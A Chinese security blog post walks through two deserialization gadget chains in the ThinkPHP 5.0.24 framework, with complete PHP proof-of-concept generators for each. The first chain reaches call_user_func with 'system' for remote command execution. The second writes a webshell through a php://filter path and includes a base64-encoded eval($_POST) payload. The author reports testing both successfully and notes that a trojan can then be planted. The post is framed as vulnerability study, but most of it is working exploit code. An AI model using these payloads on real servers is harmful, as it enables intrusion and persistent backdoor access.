thinkphp5.0.24反序列化链子分析

前言

前几天学习了tp5.1的反序列化链,那么今天就总结一下tp5.0.24链子的构造。总体来说,我觉得tp5.0的链子要比tp5.1的链子复杂一些,在网上也是找了两条不同的链子,一个是通过写文件来 getshell,一个是直接调用函数执行rce,慢慢看吧。

环境搭建的话很简单,直接在github上下载源码解压到www目录下,同样在控制器写一个反序列化入口就可以了。

反序列化链分析

直接开始分析链子,这里有两条链子,先说说执行rce的这条链子吧。

反序列化链执行rce

其实链子的开端和tp5.1的一样,都是通过调用windows类的__destruct方法,继而调用removefile通过属性实例化任意类调用toString()魔术方法,这里调用Model类中的tostring,

但是Model类不能直接实例化,那就实例化继承它的Pivot类。那么这一块的poc为

<?php
namespace think;
abstract class Model{

}

namespace think\model;
use think\Model;
class Pivot extends Model{

}

namespace think\process\pipes;
use think\Model\Pivot;
class Windows{
    private $files = [];
    public function __construct()
    {
        $this->files = [new Pivot()];
    }
}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

进入到Model类的tostring方法,继续跟进tojosn,再跟进toArray方法,老套路,不必多说。同样是看toArray方法的关键代码。

 我们的目标是要通过$value->getAttr($attr)来调用call魔术方法。那么就要判断value是否可控,可以发现value的值最终受到append数组键名的影响,那我们就正向分析。

relation的值是直接由name控制,parseName函数仅仅做了格式转换,而name就是aappend键名。继续往下看,

relation的值被当作函数来执行了,并且返回值赋值给modelRelation参数,我们希望这个参数的值是可控的,那么我们就需要调用返回值可控的函数 ,这里我们让relation赋值为getError,

返回的error是可控的,那么现在modelRelation也可控,继续往下走,被作为参数进入到getRelationData函数里,那么继续跟进这个函数。

这里modelRelation就作为了Relation类的对象,我们需要让value为我为我们可控,那么我们需要进入到第一个if里,看能不能满足条件,跟进isselfRelation方法,

可控,那么最后一个判断,getmodel函数是否可控,继续跟进。

这里需要实例化类继续调用返回值可控的这个函数,这里实例化Query类的getmodel函数,

 这样就都可控了,那么进入到if分支里,value的值是直接由parent属性控制,是可控的。回头继续看toArray函数,我们还需要进入到这两个if语句里。

通过放大镜找到OneToOne类中有getBindAttr函数的定义,那么可以让modelRelation去实例化这个类,

但是OneToOne是继承于Relation类的一个接口,不能直接实例化,这里HasOne继承了OneToOne类,那么我们可以实例化这个类。getBindAttr函数的返回值可控,那么第二个if条件也满足了。这样就可以调用call方法了。 这一块的poc为

namespace think;
use think\Model\Relation\HasOne;
use think\console\Output;
abstract class Model{
    protected $append = [];
    protected $error;
    protected $parent;
    public function __construct()
    {
        $this->append = ['getError'];
        $this->error = new HasOne();
        $this->parent = new Output();
    }
}

namespace think\model\relation;
use think\db\Query;

class HasOne{
    protected $selfRelation;
    protected $query;
    protected $bindAttr = [];
    public function __construct()
    {
        $this->selfRelation = false;
        $this->query = new Query();
        $this->bindAttr = ["aaa"=>"222"];
    }
}

namespace think\console;
use think\session\driver\Memcached;
class Output{
    
}

namespace think\db;
use think\console\Output;
class Query{
    protected $model;
    public function __construct()
    {
        $this->model = new Output();
    }
}

这样就成功调用了call方法。

 这里调用了block方法,跟进block方法。

继续跟进writeln方法。

套娃一样,继续跟进write方法。

这里调用任意类的write方法。 这里我们调用think\session\dirver里的Mecache类的write方法。

这里又可以调用任意类的set方法,这里我们调用think\cache\Mecache类的set方法,注意重名了,但是不在一个命名空间。

这里跟进has函数,

getCacheKey函数只进行了一个拼接,然后调用任意类的get方法。那么我们就可以调用Request类的set方法。

最后调用经典input方法,这里的this->get和filter都是我们可控的。 进入input方法,最终调用filterValue方法,

调用call_user_func函数来执行命令。这里的value就是this->get,构造最终poc。

<?php
namespace think;
use think\Model\Relation\HasOne;
use think\console\Output;
abstract class Model{
    protected $append = [];
    protected $error;
    protected $parent;
    public function __construct()
    {
        $this->append = ['getError'];
        $this->error = new HasOne();
        $this->parent = new Output();
    }
}

namespace think\model\relation;
use think\db\Query;

class HasOne{
    protected $selfRelation;
    protected $query;
    protected $bindAttr = [];
    public function __construct()
    {
        $this->selfRelation = false;
        $this->query = new Query();
        $this->bindAttr = ["aaa"=>"222"];
    }
}

namespace think\db;
use think\console\Output;
class Query{
    protected $model;
    public function __construct()
    {
        $this->model = new Output();
    }
}

namespace think\console;
use think\session\driver\Memcached;
class Output{
    private $handle;
    protected $styles = [
        "getAttr"
    ];
    public function __construct()
    {
        $this->handle = new Memcached();
    }
}

namespace think\cache;
abstract class Driver{

}

namespace think\session\driver;
use think\cache\driver\Memcache;
use think\cache\Driver;
class Memcached {                //个人认为防止重名
    protected $handler;
    protected $config = [   //config一定要写全,不然打不通
        'session_name' => '', // memcache key前缀
        'username'     => '', //账号
        'password'     => '', //密码
        'host'         => '127.0.0.1', // memcache主机
        'port'         => 11211, // memcache端口
        'expire'       => 3600, // session有效期
    ];
    public function __construct()
    {
        $this->handler = new Memcache();
    }
}

namespace think\cache\driver;
use think\Request;
class Memcache{
    protected $tag = "haha";
    protected $handler;
    protected $options = ['prefix'=>'haha/'];
    public function __construct()
    {
        $this->handler = new Request();
    }
}

namespace think;
class Request{
    protected $get = ["haha"=>'dir'];
    protected $filter;
    public function __construct()
    {
        $this->filter = 'system';
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{

}

namespace think\process\pipes;
use think\Model\Pivot;
class Windows{
    private $files = [];
    public function __construct(){
        $this->files = [new Pivot()];
    }
}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

一些细节上的地方没有细说,因为这个版本很多地方都和tp5.1.37一样。然后在本地打一下payload

测试成功,这一条链子就分析到这。

反序列化链写文件getshell

前面调用tostring函数,调用call函数啥的都跟上一个链子一样。这里就不在赘述。

从think\session\dirver里的Mecache类开始,调用file类的set方法

最下面有file_put_contents函数可以用来写文件。那我们需要看这两个参数是否可控。先看filename,跟进getCacheKey函数。

可以发现后缀名被锁死了,但是name我们还是可控的,所以filename部分可控。如果说data也可控的话,那么就可以写shell了。 通过函数调用链可以发现data是由value控制,继而由sessData控制,最终追述到Output类的writeln方法。

这里为true,被写死了。不能写内容怎么getshell?我们可以继续调用setTagItem函数。

这里又一次调用了set方法,那么看一下key是否可控。很明显,它是由$this->tag控制,可控。那么value呢?由name控制,仔细看传进来的name,它不就是我们可控的filename嘛,那么我们就可以调用file_put_contents来写文件了。注意

拼接字符串的时候我们需要绕过exit();不然会强制退出。那么该怎么绕过呢?

我们可以利用php伪协议来绕过。

如果file_put_contentes() 第一个参数为php://filter/write=string.rot13/resource=555.php的话,php会把文件内容进行rot13编码,然后写入555.php 文件。 那么exit()函数就会被rot13编码写进文件中,成功绕过。从而实现了绕过。但是使用这种方法的payload不能在Windows上使用。但是在Windows环境中我们可以使用这样的payload,

$this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php

windows写文件的这个原理我还不太了解,可以参考这篇文章:Thinkphp5.0反序列化链在Windows下写文件的方法 - 先知社区 (aliyun.com)

最终poc为

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{
	
}
class Windows extends Pipes{
	private $files=[];
	function __construct(){
		$this->files=[new Pivot()];
	}
	
}
namespace think;
use think\model\relation\HasOne; 
use think\console\Output;
abstract class Model{
	protected $append = [];
	protected $error;
	public $parent;      
	public function __construct(){
		$this->append=["getError"];
		$this->error=new HasOne();
		$this->parent=new Output();
	}
}
namespace think\model\relation;
use think\model\Relation;
class HasOne extends OneToOne{
	function __construct(){
		parent::__construct();
	}
}
namespace think\model;
use think\db\Query;
abstract class Relation{
	protected $selfRelation;
	protected $query;
	function __construct(){
		$this->selfRelation=false;
		$this->query= new Query();
	}
}
namespace think\console;
use think\session\driver\Memcache;
class Output{
	private $handle = null;
	protected $styles = [];  
	function __construct(){
		$this->styles=['getAttr']; 
		$this->handle=new Memcache();
	}
}
namespace think\db;
use think\console\Output;
class Query{
	protected $model;
	function __construct(){
		$this->model= new Output();
	}
}
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation{
	
	protected $bindAttr = [];
	function __construct(){
		parent::__construct();
		$this->bindAttr=["aaa","123"];
		
	}
}
namespace think\session\driver;
use think\cache\driver\File;
class Memcache{
	protected $handler = null;
	function __construct(){
		$this->handler=new File();
	}
}
namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver{
	protected $options=[];
	function __construct(){
		parent::__construct();
	$this->options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => '',
        'path'          => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../ab.php',
        'data_compress' => false,//base64字符串为<?php phpinfo();\?\>
    ];
	}
}
namespace think\cache;
abstract class Driver{
	 protected $tag;
	 function __construct(){
		 $this->tag=true;
	 }
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

//
?>

将payload打进去,

可以看到成功写入了文件了。 那么访问这个文件,

能够成功执行命令。那么就可以写木马进去了。

结语

第二条链子要比第一条复杂,涉及到windows下文件名的限制问题。还是要理解原理。

相关链接:

Thinkphp5.0.24 反序列化rce链学习_bfengj的博客-CSDN博客_thinkphp5.0.24

Thinkphp5.0.24反序列化分析和poc - FreeBuf网络安全行业门户

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

XiLitter

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值